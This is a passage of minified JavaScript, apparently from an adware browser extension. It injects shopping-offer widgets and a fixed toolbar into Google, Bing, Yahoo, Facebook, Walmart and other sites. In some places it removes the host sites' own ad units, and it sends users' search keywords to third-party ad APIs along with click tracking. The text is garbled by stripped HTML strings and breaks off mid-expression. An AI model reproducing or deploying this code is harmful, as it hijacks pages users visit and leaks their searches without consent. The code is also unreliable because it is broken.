\").css({overflowX:\"hidden\",whiteSpace:\"nowrap\"}).attr(\"id\",\"_om_twenga_widget_viewport\").appendTo($widgetViewportContainer);var $leftArrow=$(\"\").css({display:\"none\",border:\"none\",cursor:\"pointer\",position:\"absolute\",right:\"100%\",top:\"50%\",marginTop:-24}).attr(\"src\",\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAwCAYAAAALiLqjAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAABiElEQVR42mL8//8/AzXB2rVr1wCpd8HBwWkgPkAAMVHZ8ANQ5iyYGEAAUdUCbAAggJio6PrLUOYaZHGAAKK5DwACiIlKrn8KZR5AlwMIIJr7ACCAmKjg+q9Q5hVs8gABRHMfAAQQE4Wuh+XSZ7jUAAQQzX0AEEBMVHD9V3zqAAKI5j4ACCAmCl1PEAAEEM19ABBATLR0PQgABBDNfQAQQEy0dD0IAAQQzX0AEEBMtHQ9CAAEEM19ABBATLR0PQgABBDNfQAQQEy0dD0IAAQQzX0AEEAELQA2oBgpsQAggGjuA4AAIsoCSnwBEEA09wFAABFtAbm+AAggmvsAIIBIsoAcXwAEEM19ABBAJFtAqi8AAojmPgAIILIsIMUXAAFEcx8ABBDZFiD5ghufOoAAorkPAAKIIguQfCGFSw1AANHcBwABRLEFQF/A4kAHmzxAANHcBwABRBULgL6QhjId0OUAAojmPgAIIKpZAPSFLpQZgiwOEEA09wFAAFHVAqAvYHGQBhMDCDAA8EE+XXW/JRgAAAAASUVORK5CYII=\").click(function(){$widgetViewport.animate({scrollLeft:\"-=128px\"},{complete:function(){if($widgetViewport.scrollLeft()==0)\n$leftArrow.stop(true,true).fadeOut(\"slow\");if($widgetViewport.scrollLeft()<$widgetViewport[0].scrollWidth-$widgetViewport[0].clientWidth)\n$rightArrow.stop(true,true).fadeIn(\"fast\");}});}).appendTo($widgetViewportContainer);var $rightArrow=$(\"\").css({display:\"none\",border:\"none\",cursor:\"pointer\",position:\"absolute\",left:\"100%\",top:\"50%\",marginTop:-24}).attr(\"src\",\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAwCAYAAAALiLqjAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAABgElEQVR42mL8//8/AwisXbt2FpASCg4ODmGgIgAIICYk9iyoRQeoaQFAADEx0BgABBC6BWugvrhMLQsAAojmPgAIIGwWHID64ik1LAAIIJr7ACCAcFlwBeqLr5RaABBANPcBQADhs+AZ1Bf/KbEAIIBo7gOAACJkwVdKfQEQQDT3AUAAEW0Bub4ACCCa+wAggEiygBxfAAQQzX0AEEAkW0CqLwACiOY+AAggsiwgxRcAAURzHwAEENkWEOsLgACiuQ8AAogiC4jxBUAA0dwHAAFEkQXARhojITUAAURzHwAEEBMtXQ8CAAFEcx8ABBATLV0PAgABRHMfAAQQEy1dDwIAAURzHwAEEBMtXQ8CAAFEcx8ABBATLV0PAgABRHMfAAQQIQu4KXE9CAAEEM19ABBA+CyQotT1IAAQQDT3AUAA4bJAB+p6bkotAAggmvsAIICwWeAAdb00NSwACCCa+wAggNAtCIG6XpdaFgAEEM19ABBAyBakQV3vQE0LAAIMAIeNPV1T5/mNAAAAAElFTkSuQmCC\").click(function(){$widgetViewport.animate({scrollLeft:\"+=128px\"},{complete:function(){if($widgetViewport.scrollLeft()==$widgetViewport[0].scrollWidth-$widgetViewport[0].clientWidth)\n$rightArrow.stop(true,true).fadeOut(\"slow\");if($widgetViewport.scrollLeft()>0)\n$leftArrow.stop(true,true).fadeIn(\"fast\");}});}).appendTo($widgetViewportContainer);$widget.hover(function(){if($widgetViewport.scrollLeft()>0)\n$leftArrow.stop(true,true).fadeIn(\"fast\");if($widgetViewport.scrollLeft()<$widgetViewport[0].scrollWidth-$widgetViewport[0].clientWidth)\n$rightArrow.stop(true,true).fadeIn(\"fast\");}).mouseleave(function(){$leftArrow.stop(true,true).fadeOut(\"slow\");$rightArrow.stop(true,true).fadeOut(\"slow\");});$.each(data.products.offers,function(index,offer){if(index>o.display_offers)return;var $tableContainer=$(\"
\").css({display:\"inline-block\"}).attr(\"title\",offer.name).appendTo($widgetViewport);var $block=$(\"\").css({border:\"none\",borderCollapse:\"collapse\",borderSpacing:0,cursor:\"pointer\",textAlign:\"center\",display:\"table\",margin:10}).click(function(){trackGAEvent(\"Offer \"+index,keyword);document.location.href=offer.click_url;}).appendTo($tableContainer);$block.attr('style',$block.attr('style')+'; width: 100px !important;');var $imageRow=$(\"\").css({height:100}).appendTo($block);$imageRow.attr('style',$imageRow.attr('style')+'; vertical-align: middle !important;');var $imageCell=$(\"\").appendTo($block);$textRow.attr('style',$textRow.attr('style')+'; vertical-align: middle !important;');var $textCell=$(\"
\").css({padding:4}).appendTo($imageRow);$imageCell.attr('style',$imageCell.attr('style')+'; vertical-align: inherit !important;');if(offer.has_image){$(\"\").attr(\"src\",offer.image.small.url).appendTo($imageCell);}else{$imageCell.html(\" \");}\nvar $textRow=$(\"
\").css({border:\"none\",padding:4}).appendTo($textRow);$textCell.attr('style',$textCell.attr('style')+'; vertical-align: inherit !important;');$(\"\").css({display:\"block\",fontSize:11,width:100,overflow:\"hidden\",textOverflow:\"ellipsis\",height:\"1.3em\",whiteSpace:\"nowrap\"}).text(offer.name).attr(\"href\",offer.click_url).appendTo($textCell);$(\"\").css({display:\"block\",fontSize:11,width:100,overflow:\"hidden\",textOverflow:\"ellipsis\",height:\"1.3em\",whiteSpace:\"nowrap\"}).addClass(\"_om_twenga_price\").text(offer.price).appendTo($textCell);if($(offer.has_merchant&&\"body#gsr #ires li.g:not([id]):first\").length){$(\"\").css({display:\"block\",color:\"#00802a\",overflow:\"hidden\",textOverflow:\"ellipsis\",height:\"1.3em\",whiteSpace:\"nowrap\",fontStyle:\"normal\"}).text(offer.merchant.name).appendTo($textCell);}});var $firstResult;if(($firstResult=$(\"body#gsr #center_col\")).length){if(($shop=$(\".c.commercial-unit\")).length){$shop.remove();}\n$widget.css({boxSizing:\"content-box\",width:512,margin:\"-2px 0 13px -8px\",padding:\"5px 35px 2px 7px\",border:\"1px solid #ebebeb\",});$(\"
\").append($widget).css({paddingLeft:8,paddingRight:8}).prependTo($firstResult);$leftArrow.css({right:\"103%\"});$rightArrow.css({left:\"108%\"});$widgetViewportContainer.css({top:-23});$(\"._om_twenga_price\").css({fontWeight:\"bold\"});$(\"#_om_twenga_widget table\").css({margin:0,textAlign:\"left\",borderLeft:\"1px solid #ebebeb\",paddingRight:6,paddingLeft:6,});$(\"#_om_twenga_widget_viewport div\").css({marginTop:20,verticalAlign:\"top\",});$(\"#_om_twenga_widget table:first\").css({borderColor:\"rgba(0, 0, 0, 0)\",});$(\"#_om_twenga_widget table img\").css({width:86,height:86});$(\"#_om_twenga_widget table a\").css({height:\"3.5em\",overflow:\"hidden\",whiteSpace:\"normal\",fontSize:\"small\"});$(\"#_om_twenga_widget table span\").css({whiteSpace:\"normal\",fontSize:\"small\"});$(\"#_om_twenga_widget_viewport\").css({lineHeight:1.2,margin:\"9px -28px 8px 0\",overflow:\"hidden\",padding:0,color:\"#222\",fontSize:\"small\",});$(\"#_om_twenga_widget_header\").css({color:\"#12C\",fontSize:14,paddingLeft:4,paddingRight:4,lineHeight:1.2,});}else if(($firstResult=$(\"body#ysch #main\")).length){$widget.css({marginLeft:22,marginTop:10,width:512});$firstResult.prepend($widget);$(\"#_om_twenga_widget_header\").css({color:\"#0000de\"});}else if(($firstResult=$(\"div#sw_page #wg0 li.sa_wr:first\")).length){$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#04C\"});}else if(($firstResult=$(\"div.srmc .srmfc div.srsa:first\")).length){$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#11C\"});}else if(($firstResult=$(\"#inner_page_wrapper #organic_results\")).length){$widgetViewportContainer.css({marginLeft:12,marginRight:18});$firstResult.prepend($widget);}else if(($firstResult=$(\"#main #rightResultsATF #center\")).length){$widget.css({width:$firstResult[0].width-32,marginLeft:16,marginRight:16});$firstResult.prepend($widget);$(\"#_om_twenga_widget_header\").css({color:\"#004b91\"});}else if(($firstResult=$(\"#main #rightResultsATF #centerPlus\")).length){$widget.css({width:$firstResult[0].width-32,marginLeft:16,marginRight:16});$firstResult.prepend($widget);$(\"#_om_twenga_widget_header\").css({color:\"#004b91\"});}else if(($firstResult=$(\"#Body #Results\")).length){$widgetViewport.css({height:170});$(\".pnl-b.frmt\").css({marginTop:191});$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#00C\"});}else if(($firstResult=$(\"div#yui-main div#product_results\")).length){$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#006ab2\"});}else if(($firstResult=$(\"body.shopzilla .results\")).length){$('#showcase').remove();$widget.css({marginLeft:20,marginRight:20});$('.adjacent-ad-left').removeClass('adjacent-ad-left');$firstResult.before($widget);}else if(($firstResult=$(\"body.sem div.results\")).length){$widget.css({marginLeft:20,marginRight:20});$firstResult.before($widget);}else if(($firstResult=$(\"html#facebook div#timelineNavContent\")).length){$container=$(\"
\").css({textAlign:\"center\"}).append($widget);$widget.css({width:512,margin:\"auto\"});$firstResult.append($container);}else if(($firstResult=$(\"html#facebook div#timeline_tab_content\")).length){$container=$(\"
\").css({textAlign:\"center\"}).append($widget);$widget.css({width:512,margin:\"auto\"});$firstResult.before($container);}else if(($firstResult=$(\"#pagelet_megaphone\")).length){$firstResult.before($widget);}else if(($firstResult=$(\"#plist\")).length){$widget.css({marginLeft:16,marginRight:24});$firstResult.before($widget);}else if(($firstResult=$(\".mainCol\")).length){$widget.css({marginLeft:16,marginRight:24});$firstResult.prepend($widget);}else if(($firstResult=$(\".content section\")).length){$widgetViewportContainer.css({marginLeft:24,marginRight:24});$firstResult.prepend($(\"
\").addClass('c_line'));$firstResult.prepend($widget);}else if(($firstResult=$(\"#PrdLst2\")).length){$widgetViewportContainer.css({marginLeft:24,marginRight:24});$firstResult.before($widget);}else if(($firstResult=$(\".catsSearchResults\")).length){$firstResult.prepend($widget);}else if(($firstResult=$(\".mainbody .catname\")).length){$widgetViewportContainer.css({marginLeft:18,marginRight:18});$firstResult.after($widget);}else if(($firstResult=$(\"#centered #divTitle\")).length){$widget.css({width:944});$widgetViewportContainer.css({marginLeft:18,marginRight:18});$firstResult.after($widget);}else if(($firstResult=$(\"#WalmartBodyId .item:first\")).length){$widget.addClass(\"item\").css({width:805,padding:24});$firstResult.before($widget);}else if(($firstResult=$(\"#search-header\")).length){$firstResult.after($widget);}else if(($firstResult=$(\"#productListForm\")).length){$firstResult.prepend($widget);}else if(($firstResult=$(\"#primary-wrapper\")).length){if(!$('#primary-tabs').length)$('.primary-panel').remove();$widgetViewport.css({height:171});$widget.css({padding:30,width:\"100%\"}).addClass(\"primary-panel\");$firstResult.prepend($widget);}else if(($firstResult=$(\"article .searchcontent:nth-child(5)\")).length){$widget.css({marginLeft:16,marginRight:24});$firstResult.prepend($widget);}else if(($firstResult=$(\"body#site .searchResultHitsText\")).length){$widgetViewport.css({width:512});$widget.css({marginLeft:24,marginRight:24,});$firstResult.after($widget);}else if(($firstResult=$(\"body.responsive .products-list\")).length){$firstResult.prepend($widget);}else if(($firstResult=$(\".centerContent .searchResults\")).length){$widget.css({margin:16,});$firstResult.prepend($widget);}else{console.log(\"not inserted\");}\nif(!$(\"#_om_twenga_widget_header\").css(\"color\")){$(\"#_om_twenga_widget_header\").css({color:\"#0000ff\"});}\nif(o.smooth){$(\"#_om_twenga_widget\").slideDown(\"slow\",\"linear\",function(){if($(\"#_om_twenga_widget\").length){if(window._om_ver>=2)window._om_fns.registerAd($,o.dispId);waiting=false;}});}else{$(\"#_om_twenga_widget\").show();if($(\"#_om_twenga_widget\").length){if(window._om_ver>=2)window._om_fns.registerAd($,o.dispId);waiting=false;}}}else{$(\"body\").addClass(\"_om_twenga_tb_visible\");var links=\"\";var offerLink='
%price% from %merchant%';var barOffers=data.products.offers.slice(0,o.barLinks);barOffers.forEach(function(offer,i){if(i!=0)links+=\", \";var html=offerLink.replace(\"%firstlink%\",offer.click_url).replace(\"%price%\",offer.price).replace(\"%merchant%\",offer.has_merchant?offer.merchant.name:\"another merchant\");links+=html;});var html=o.template.replace(\"%offerlinks%\",links);var $bar=$(\"
\").attr(\"id\",\"_om_twenga_tb\").css({textAlign:\"left\",position:\"fixed\",zIndex:65535,left:0,top:0,padding:0,margin:0,backgroundColor:\"white\",width:\"100%\"}).addClass(\"_om_twenga_tb\").html(html).appendTo(\"body\");$(\"body\").css({backgroundPositionY:31});$bar.find(\"strong\").css({fontSize:14});$bar.find(\"a\").css({color:\"#00d\"});$bar.find(\"#_om_twenga_tb_close\").click(function(){$bar.remove();$(\"body\").removeClass(\"_om_twenga_tb_visible\");if($(\"body\").css('backgroundPositionY')=='31px')\n$(\"body\").css({backgroundPositionY:0});var msg=$(this).attr(\"data-om-close-message\");if(!msg||confirm(msg.replace(\"%host%\",document.location.hostname)))$.cookie(\"_om_twenga_tb_blocked\",1,{path:\"/\",expires:365});});var $overlay=$(\"
\").css({position:\"fixed\",width:450,boxSizing:\"border-box\",borderRadius:10,boxShadow:\"0 0 5px 5px #888\",padding:6,marginLeft:-225,display:\"none\",backgroundColor:\"white\",zIndex:9999999}).attr(\"id\",\"_om_twenga_tb_overlay\").appendTo($bar);$(\"\").text(keyword).appendTo($overlay);var $overlayViewport=$(\"
\").css({width:430,maxHeight:550,padding:4,overflowY:\"scroll\"}).attr(\"id\",\"_om_twenga_tb_overlay_viewport\").appendTo($overlay);var $table=$(\"\").css({borderCollapse:\"collapse\",borderSpacing:\"none\",width:410,border:\"none\",fontFamily:\"inherit\",fontSize:\"inherit\",fontStyle:\"inherit\",fontWeight:\"inherit\"}).appendTo($overlayViewport);$.each(data.products.offers,function(index,offer){if(index>o.display_offers)return false;if(!offer)return;var $row=$(\"\").css({border:\"none\",borderTop:\"1px solid #888888\",margin:\"1px 0px\",cursor:\"pointer\"}).click(function(){trackGAEvent(\"Offer \"+index,keyword);document.location.href=offer.click_url;}).appendTo($table);var $image=$(\"
\").css({border:\"none\",textAlign:\"center\",width:105}).appendTo($row);$image.attr('style',$image.attr('style')+'; vertical-align: middle !important;');if(offer.has_image){$(\"\").attr(\"src\",offer.image.small.url).appendTo($image);}\nvar $price=$(\"\").css({border:\"none\",textWeight:\"bold\",fontSize:\"130%\",width:95}).text(offer.price).appendTo($row);$price.attr('style',$price.attr('style')+'; vertical-align: middle !important;');if(offer.has_shipping_cost&&offer.shipping_cost.match(/[1-9]+/)){$price.append(\"
\");$(\"\").css({fontSize:\"65%\",fontWeight:\"normal\",color:\"#808080\"}).text(\"+\"+offer.shipping_cost+\" Shipping\").appendTo($price);}\nvar $text=$(\"
\").css({border:\"none\",fontWeight:\"bold\"}).text(offer.name).appendTo($row);if(offer.has_merchant){$text.append(\"
\");$(\"\").css({fontWeight:\"normal\",color:\"#808080\"}).text(\"From \"+offer.merchant.name).appendTo($text);}\n$text.attr('style',$text.attr('style')+'; vertical-align: middle !important;');$(\"#_om_twenga_tb_close\").click(function(){trackGAEvent(\"Close\",keyword);});$(\"#_om_twenga_tb_button\").click(function(){trackGAEvent(\"More Offers Button\",keyword);});$(\"#_om_twenga_tb_hp\").click(function(){trackGAEvent(\"Logo\",keyword);});$(\"#_om_twenga_tb_first\").click(function(){trackGAEvent(\"First Offer\",keyword);});});var bgImageNormal=\"url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABeSURBVBhXLY6LDcQwCEMd9h+0O1yD7xkagSx/IBz/Hltl+8hFC7CbgrV0yxFVclOFIgFhFzYDKPFsvMscL1veiWRZYNmYsEkGEElSbPm8Te7v4ryIsN6BiJoD6aP+AwvJWYcG7cEmAAAAAElFTkSuQmCC)\";var bgImagePressed=\"url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABdSURBVBhXLY6LDYBACENLz/0XcioHMPgKXrgQ+oN6n1uSpaK2/ZO9gNU9YBUFQh2mA7VczxTDz+UBklJRXhvGOya44VoYLoNMisDT1seS+CIxytke5UTvEXNHvsofw4sPQ6nYUwYAAAAASUVORK5CYII=)\";if(!o.showLogo)$(\"._om_logo\").hide();$bar.find(\"#_om_twenga_tb_button\").css({fontSize:14,backgroundImage:bgImageNormal}).click(function(){if($overlay.is(\":visible\")){$overlay.hide(200);$(this).css({backgroundImage:bgImageNormal});}else{var thisOffset=$bar.offset();$overlay.css({left:$(window).width()-$overlay.width()/ 2,top:40}).show(200);$(this).css({backgroundImage:bgImagePressed});}});if(window._om_ver>=2)window._om_fns.registerAd($,o.dispId);waiting=false;}};var bizrateToTwenga=function(obj){var offersOnly=!!obj.offers;var root=offersOnly?obj.offers:obj.products;twData={code:200,infos:{nb_products:1},products:[{nb_offers:root.includedResults,offers:[]}]};for(var i=0;i<(offersOnly?root.offer.length:root.product.length);i++){var offer=offersOnly?root.offer[i]:root.product[i];twData.products[0].offers.push({name:offer.title,click_url:offer.url.value,has_image:!!offer.images,image:offer.images?{small:offer.images.image[1]?{url:offer.images.image[1].value,width:offer.images.image[1].xsize,height:offer.images.image[1].ysize}:null,medium:offer.images.image[2]?{url:offer.images.image[2].value,width:offer.images.image[2].xsize,height:offer.images.image[2].ysize}:null,big:offer.images.image[3]?{url:offer.images.image[3].value,width:offer.images.image[3].xsize,height:offer.images.image[3].ysize}:null}:null,price:offer.price?offer.price.value:offer.priceSet.minPrice.value,has_merchant:!!offer.merchantName,merchant:!!offer.merchantName?{name:offer.merchantName}:null,has_shipping_cost:!!offer.shipAmount,shipping_cost:!!offer.shipAmount?offer.shipAmount.value:null});}\nreturn twData;};var providerData=[];var providerLength=o.providers.length;var pushDataTwenga=function(data){apiConvert(data);pushData(data);}\nvar pushDataShopzilla=function(data){data=bizrateToTwenga(data);pushData(data);}\nvar pushDataBecome=function(data){data=becomeToTwenga(data);pushData(data);}\nvar pushData=function(data){if(data&&data.code==200){providerData.push(data);}else{providerData.push(null);}\nif(window._om_dbg)console.log(providerData.length+\"/\"+providerLength+\" providers loaded.\");if(providerData.length>=providerLength){waiting=!(typeof callback(providerData)==\"undefined\");}}\n$.each(o.providers,function(i,p){var ajaxOptions;switch(p.type){case'twenga':ajaxOptions={dataType:'json',url:p.url+'?confkey='+p.confKey,data:{keyword:keyword,cack:p.apiKey,nb_offers:o.displayOffers},success:pushDataTwenga,error:pushData,timeout:4000};break;case'become':ajaxOptions={dataType:'json',url:p.url+\"?cf=oi&srt=rel&rtype=JSON\",data:{pge:o.displayOffers,qry:keyword},success:pushDataBecome,xhrFields:{withCredentials:true},async:true,crossDomain:true,error:pushData,timeout:4000};if(window._om_ver>=5){ajaxOptions.xhrHeaders={\"Authorization\":\"Basic \"+p.auth}}else{ajaxOptions.beforeSend=function(xhr){xhr.withCredentials=true;xhr.setRequestHeader(\"Authorization\",\"Basic \"+p.auth);};}\nbreak;case'shopzilla':ajaxOptions={dataType:'json',url:p.url,data:{apiKey:p.apiKey,publisherId:p.publisherId,offersOnly:p.offersOnly,keyword:keyword,results:o.displayOffers,format:'js'},success:pushDataShopzilla,error:pushData,timeout:4000};if(window._om_ver>=5){ajaxOptions.data.format='json';}else{ajaxOptions.url+='?callback=?';}\nbreak;}\nvar okay=window._om_fns.checkKeyword($,p,keyword);if(window._om_dbg)console.log(p.dispId+\" black/white list active: \"+!okay);if(okay){if(_om_ver>=5){window._om_fns.cachedXHR($,ajaxOptions,p.dispId,keyword);}else{$.ajax(ajaxOptions);}}else{pushData(null);}});}};fn();$(document).bind(\"DOMSubtreeModified\",function(){modified=true;});setInterval(fn,400);}","addSearchAdDisplay":"function($,s){if(window._om_ver>=6){var loaded=function(){if($(\".loadingSpinner\").length)return false;if(document.location.href.match(/\\/\\/[^\\/]*?\\.?google(?:\\.co)?\\.\\w+\\//)&&(!$(\"body#gsr #ires li.g:not([id]):first\").length||!$(\"body#gsr #rhs\").length))return false;if(document.location.href.match(/\\/\\/www\\.bing\\.com\\//)&&!$(\"div#sw_page #wg0 li.sa_wr:first\").length)return false;if(document.location.href.match(/\\/\\/search\\.conduit\\.com/)&&(!$('#inner_page_wrapper #ws_results').length||!$('#inner_page_wrapper #results_sidebar_wrapper').length))return false;if(document.location.href.match(/\\/\\/search\\.yahoo\\.com/)&&(!$(\"body#ysch #main\").length||!$(\"body#ysch #right\").length))return false;return true;}\nvar modified;var waiting;var lastKeyword;var fn=function(){var rand=Math.floor(Math.random()*999);if(!modified)return;if(waiting)return;modified=false;var keyword=_om_fns.getKeyword($,s);if(keyword==lastKeyword)return;if(!loaded())return;var okay=window._om_fns.checkKeyword($,s,keyword);lastKeyword=keyword;if(window._om_dbg)console.log(keyword);if(window._om_dbg)console.log(s.dispId+\" black/white list active: \"+!okay);if(!okay)return;if($(\"#_om_search_ad_\"+s.position+\"_marker\").length)return;$(\"\").css({display:\"none\"}).attr(\"id\",\"_om_search_ad_\"+s.position+\"_marker\").appendTo(\"body\");var ads=[];s.providers.forEach(function(sp){if(window._om_dbg)console.log(sp.timesClicked+\"/\"+sp.clicksPerDay);if(typeof sp.timesClicked==\"undefined\"||sp.clicksPerDay>sp.timesClicked){ads.push(sp.id);}});if(window._om_dbg)console.log(ads);ads=ads.join(' ');if(keyword){$('#_om_sd_'+s.id).remove();var page;var iframe=$(\"Flag for copyright